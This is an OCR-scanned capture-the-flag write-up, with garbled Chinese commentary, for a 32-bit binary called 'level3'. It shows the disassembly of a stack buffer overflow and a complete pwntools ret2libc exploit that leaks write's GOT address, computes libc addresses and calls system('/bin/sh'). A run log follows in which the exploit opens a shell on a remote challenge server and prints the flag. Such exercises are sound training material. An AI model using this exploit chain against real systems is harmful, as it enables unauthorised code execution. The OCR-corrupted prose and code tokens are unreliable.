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root@mypwn:/ctf/work/python# checksec level3
[*] '/ctf/work/python/level3"'

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x8048000)
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[#] Functions window

Function name

[F] _init_proc
[F] sub_8048300
[¥] _read

[F] _gmon_start__

[F] __libc_start_main
[7] _write

[F] _start

[F] _x86_get_pc_thunk_bx
[¥] deregister_tm_clones
[F] register_tm_clones
[F] _do_global_dtors_aux
[¥] frame_dummy

[F] vulnerable_function

| 7] main

[F] _libc_csu_init

[F] _libc_csu_fini

[F] _term_proc

[7] read

[F] _libe_start_main

[F] write

[¥] _gmon_start__
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0804844B ; Attributes: bp-based frame
0804844B
0804844B public vulner
0804844B vulnerable_ function proc near
0804844B

08048448 buf = byte ptr -8
0804844B

0804844B ; _ unwind {

0804844B push ebp
0804844cC mov ebp,
0804844E sub esp,
08048454 sub esp,
08048457 push 7
08048459 push offse
0804845E push 1
08048460 call _writ
08048465 add esp,
08048468 sub esp,
08048468 push 100h
08048470 lea eax,
08048476 push eax
08048477 push 0
:08048479 call _read
:0804847E add esp,
08048481 nop

08048482 leave
08048483 retn

08048483 ; } // starts at 804844B

08048483 vulnerable function endp
08048483

08048484
08048484 ; == = SUBROU
08048484
08048484 ; Attributes: bp-based frame

08048484

:08048484 ; int _ cdecl main(int argc,

Hex View-1 1B

Struct

able_function
; CODE XREF: main+llip

8h

esp
88h
4
;n
t aTnput ; "Input:\n"
; £d
e
10h
4
; nbytes
[ebp+buf]
; buf
; £d
10h

TINE

const char **argv, const char **envp)
; DATA XREF: start+lito

4
8
0Ch
10h

[esp+4]
OFFFFFFFOh
ptr [ecx-4]

esp

4

rable function

4
;n

t aHelloWorld ; "Hello, World!\n"
; fd

e

10h

0

[ebptvar_ 4]

[ecx-4]

OBOABABA e

08048484 public main
08048484 main proc near
08048484

08048484 var 4 = dword ptr -
08048484 argc = dword ptr
08048484 argv = dword ptr
08048484 envp = dword ptr
08048484

08048484 ; _ unwind {

08048484 lea ecx,
08048488 and esp,
:0804848B push dword
0804848E push ebp
0804848F mov ebp,
08048491 push ecx
08048492 sub esp,
08048495 call vulne
0804849A sub esp,
0804849D push OEh
0804849F push offse
080484A4 push 1
080484A6 call _writ
080484AB add esp,
080484AE mov eax,
:080484B3 mov ecx,
080484B6 leave
080484B7 lea esp,
080484BA retn

080484BA ; } // starts at 8048484
080484BA main endp
080484BA

080484BB align 10h
080484cC0
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int _ _cdecl main(int argc, const char **argv, const char **envp)

{

vulnerable function();

write(1, "Hello, World!\n", OxEu);

return 0;

ssize_t vulnerable_function()

{

char buf; // [esp+@Bh] [ebp-88h]

write(1, "Input:\n", 7u);
return read(@, &buf, 0x100u);
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root@mypwn:/ctf/work/python# tar -xvf abc5679e28914de781c5df8c9c951216.gz
./level3
./1libc_32.s50.6

BATULER], BESEHHASEEIbeSH#MABITAT T, E T REA T T Z MIibchsos 4+ 3K Fsystem
A/bin/shii s Heht . #igpythonfiA i T -

libc = ELF("1libc_32.s0.6")

system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh').next()
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elf = ELF("level3")

write plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.symbols["main"]

payload = "A"*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
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#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *
context.log_level = "debug"

cmd_remote = process("level3")

# cmd_remote = remote("111.198.29.45", 41212)

libc = ELF("1libc_32.s0.6")

system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh"').next()

elf = ELF("level3")
write plt = elf.plt["write"]

elf.got["write"]
main_addr = elf.symbols["main"]

write_got

payload = "A"*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

cmd_remote.sendlineafter("Input:\n", payload)
cmd_remote.interactive()

PATE R T -

[DEBUG] Received 0x7 bytes:
'Input:\n'

[DEBUG] Sent ©xal bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAAA |
.
00000080 41 41 41 41 41 41 41 41 41 41 41 41 40 83 04 08 |AAAA|AAAA|AAAA|@- - - |
90000090 84 84 04 08 01 00 00 00 18 a0 04 08 41 41 41 41 |----|----|----|AARA|
90000020 @a ||
000000al

[DEBUG] Received oxb bytes:
00000000 80 5d 5d f7 49 6e 70 75 74 3a @a |11 |Inpult:-|
0000000b

X EATENH REKI80 bd 5d 7 R write B $7E libckE B sh &bk, AREATLR ST+ 5 i libe e f ZE bk -

write_addr = u32(cmd_remote.recv()[0:4])
write_offset = libc.symbols["write"]
libc_addr = write_addr - write_offset
system_addr = libc_addr + system_offset
binsh_addr = libc_addr + binsh_offset

FXE, RACKILETHREHNN=Z2XK, WERNTKE —MREE H Kpayload:

payload = "A"*(0x88+4) + p32(system_addr) + "A"*4 + p32(binsh_addr)
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#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *
context.log_level = "debug"

cmd_remote = process("level3")
# cmd_remote = remote("111.198.29.45", 41212)
libc = ELF("1libc_32.s0.6")

system_offset = libc.symbols['system']
binsh_offset = libc.search('/bin/sh"').next()

elf = ELF("level3")
write plt = elf.plt["write"]

write_got = elf.got["write"]
main_addr = elf.symbols["main"]

payload = "A"*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
cmd_remote.sendlineafter("Input:\n", payload)

write_addr = u32(cmd_remote.recv()[0:4])
write_offset = libc.symbols["write"]
libc_addr = write_addr - write_offset
system_addr = libc_addr + system_offset
binsh_addr = libc_addr + binsh_offset

payload = "A"*(0x88+4) + p32(system_addr) + "A"*4 + p32(binsh_addr)

cmd_remote.sendline(payload)
cmd_remote.interactive()
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root@mypwn:/ctf/work/python# python level3.py

[+] Opening
[DEBUG] PLT
[DEBUG] PLT
[DEBUG] PLT
[DEBUG] PLT
[DEBUG] PLT
[DEBUG] PLT
[DEBUG] PLT
[DEBUG] PLT

[*]

0x176b0o
0x176c0o
0x176€0
0x17710
0x17720
0x17730
0x17740
0x17748

Arch:
RELRO:
Stack:
NX:
PIE:
[DEBUG] PLT 0x8048310
[DEBUG] PLT 0x8048320
[DEBUG] PLT 0x8048330
[DEBUG] PLT 0x8048340

[*]

Partial

connection to 111.198.29.45 on port 41212:
_Unwind_Find_FDE
realloc

malloc

Done

memalign
_dl_find_dso_for_object
calloc

tls_get_addr

free
'/ctf/work/python/libc_32.s0.6"
i386-32-

little
RELRO

Canary found
NX enabled
PIE enabled

read
__gmon_start__
__libc_start_main
write

'/ctf/work/python/level3"'

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x8048000)

[DEBUG] Received 0x7 bytes:

'Input:\n'

[DEBUG] Sent ©xal bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

*

00000080
00000090
00000020
000000al

Qa

41 41 41 41 41 41 41 41 41 41 41 41 40 83 04 @8
84 84 04 08 01 00 00 00 18 a0 04 08 04 00 00 00

[DEBUG] Received x4 bytes:

00000000
00000004
[DEBUG] Sent
00000000
*
00000080
00000090
00000099
[*] Switching
[DEBUG] Received
"Input:\n'
Input:
$ cat flag

c0 83 63 f7

0x99 bytes:
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41

41 41 41 41 41 41 41 41 41 41 41 41 40 e9 59 f7
41 41 41 41 2b dO 6b f7 0a

to interactive mode
ox7 bytes:

[DEBUG] Sent ©x9 bytes:

'cat flag\n'

[DEBUG] Received ox2d

bytes:

'cyberpeace{9290b10c10be531d9749b41dfc3a8734}\n"
cyberpeace{9290b10c10be531d9749b41dfc3a8734}

$

| AAAA | AAAA | AAAA | AAAA |

| AAAA | AAAA | ARAA|@- - - |

|--c-]|

| AAAA | AAAA | AAAA | AAAA |

| AAAA | AAAA | AAAA|@-Y - |
|AnAA|+-k- | -]
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